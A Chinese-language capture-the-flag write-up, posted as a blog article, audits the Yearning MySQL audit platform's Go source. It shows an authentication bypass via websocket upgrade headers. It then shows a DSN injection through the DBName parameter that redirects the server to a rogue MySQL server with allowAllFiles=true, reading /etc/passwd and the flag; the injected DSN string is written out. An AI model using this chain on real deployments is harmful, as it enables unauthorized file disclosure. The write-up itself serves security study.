记一次golang的dsn注入之旅

记一次golang的dsn注入之旅

0x01 前言

d3ctf2024中的yearning-MYSQL审计平台的详细代码审计分析;

知识要点:golang代码审计+dsn注入+rouge_mysql_server使用

0x02 过程记录

环境搭建

  1. # 前端项目地址
  2. https://github.com/cookieY/Yearning-gemini
  3. # 后端项目地址
  4. https://github.com/cookieY/Yearning
  5. # 换源
  6. npm config set registry https://registry.npm.taobao.org
  7. npm config get registry
  8. \# 编译前端代码成dist
  9. npm install \--force
  10. npm install \-legacy-peer-deps
  11. npm run build
  12. # 移动到后端代码的service文件夹下面
  13. mv dist ../Yearning/src/service
  14. # 后端
  15. go mod tidy
  16. go run main.go

记得conf.toml配置文件的host不能填本地回环地址,本地docker起的mysql数据库名字不是默认的,是Yearning

img

goland中的运行调试配置:

img

websocket相关

Websocket协议是对http的改进,可以实现client 与 server之间的双向通信; websocket连接一旦建立就始终保持,直到client或server 中断连接,弥补了http无法保持长连接的不足,方便了客户端应用与服务器之间实时通信。

适用场景: html页面实时更新, 客户端的html页面内,用javascriptserver 建立websocket连接,实现页面内容的实时更新。Websocket 非常适合网页游戏、聊天、证券交易等实时应用。 要求保持长连接的实时通信的应用场景。 如基于位置的服务应用,物联网,多方协作软件,在线教育,带社交属性的手机APP等。

推荐使用apifoxhttps://apifox.com/apiskills/how-to-use-websocket-in-python/)进行websocket的请求,pythonwebsocket库实在不敢恭维。?

代审分析

router.go可以看到所有的路由,可以看到其中一些包含了鉴权操作:

img

然后发现/api/v2路由组中使用了一个JWTWithConfig中间件进行鉴权的操作,跟下去看看:

img

前面进行了一堆的config判断,然后最后发现有一个return function,判断如果是websocket请求,就直接返回。

img

这边静态看不到这个iswebsocket函数具体内容是什么,给他打个断点,调试一下(可以访问http://127.0.0.1:8000/api/v2/common/123),发现是在依赖里面,我真是个哈皮,其中判断了http请求是否包含两个头部:

img

需要满足http头部的内容是Connection: upgradeUpgrade: websocket,这样就能直接return,看起来直接return就是绕过了鉴权。然后我们就能直接调用/api/v2下面所有的子路由。(发现好像调用websocket请求自带这两个头部。)

然后再fetch子路由找到一个fetchtableinfo函数,里面u.FetchTableFieldsOrIndexes

可以设置dsn的参数:

img

img

整了大半天,缘来是bind函数绑定的参数:

img

直接用apifox这么发就行了,搞了半天get传参啊?:

img

重点先说

  1. 使source_id无效,则model.DSN其他字段置空;
  2. model.NewDBSub函数中,实现FormatDSN拼接字符串,再ParseDSN解析成对象;
  3. FormatDSN的时候是倒着解析的,解析到/+DBName的位置;
  4. 综上,DSN完全可控,只要注入正确格式的DSN,就能用恶意的server进行恶意操作。

至于哪里有dsn注入呢,这里应该是sourceid可以让DB无效,然后newdbsub的时候会进行其他的操作:(注意,这里我们只能注入DBName,因为只有这里可控。)

img

主要是NewDBSub中的InitDSN先进行了formatDSN操作(凭借成dsn字符串),然后在drive.New处进行了parseDSN操作(将dsn字符串解析成结构体变量。):

img

先进行了formatDSN,就是将上述给的json配置转换为一个DSN字符串,牛;

img

img

先写了用户+密码,然后写了协议+地址,然后写了/+DBName数据库名,然后判断是否有参数传递,然后我们其实可以在mmsqlConfig看到所有参数的含义,是go-sql-drivermysql驱动,其中,比较重要的就是要设置上面的AllowAllFilestrue,才能进行本地文件的加载,最后就是返回了这个dsn字符串

img

img

driver.New才进行了parseDSN的操作,然后这个DSN就是前面InitDSN拼接的dsn字符串:

img

img

查看parseDSN的流程发现,他是倒着进行对整个dsn字符串进行遍历找寻/符号的,真牛哈哈哈哈;

那这样,前面的添加的一些tcp(:0)好像也没用了,因此前面我们通过对DBname的注入整个恶意的dsn的话,应该是可以达到预期效果的:

img

最终走到底部,解析出来的值设这样的(所以记得最后加个&,虽然账号密码没有被正常解析,但是IP地址解析正确了,所以应该可以进行注入攻击。):

img

攻击过程()

websocket地址:ws://47.103.216.47:30546/api/v2/fetch/fields

需要利用rmb122大哥的rouge_mysql_server项目进行攻击:

https://github.com/rmb122/rogue_mysql_server

  1. \# 在当前目录下生成配置文件模版, 如果已有配置文件可以跳过这一步
  2. ./rogue\_mysql\_server \-generate
  3. \# 运行服务器, 使用刚刚生成的 config.yaml
  4. ./rogue\_mysql\_server
  5. \# 或者手动指定配置路径
  6. ./rogue\_mysql\_server \-config other\_config.yaml
  7. **(注意IP地址要使用go-mysql-driver这边的格式:admin:123456@tcp(192.168.193.205:3307)/foo?allowAllFiles=true&**)用`apifox`这么发,就能读取到本地的文件了:

按照下面的格式进行发送请求攻击:
img

本地成功读取到/etc/passwd文件:

img

远程打一波(ws://47.103.216.47:30546/api/v2/fetch/fields),记得vps上面的端口要把安全组打开,也是成功读取到了flag:

img

img

img

另一个漏洞点-sql盲注

FetchTableFieldsOrIndexes函数的show这里进行了字符串拼接,所以明显可以存在SQL盲注,交给大哥们去分析了。

img

0x03 总结

学到了很多,熟悉了一波golang的语法和调试,以及dsn注入+rouge_mysql_server的利用。

  • 发表于 2024-05-14 10:00:02
  • 阅读 ( 4099 )
  • 分类:代码审计

0 条评论

Sakura501
Sakura501

10 篇文章

站长统计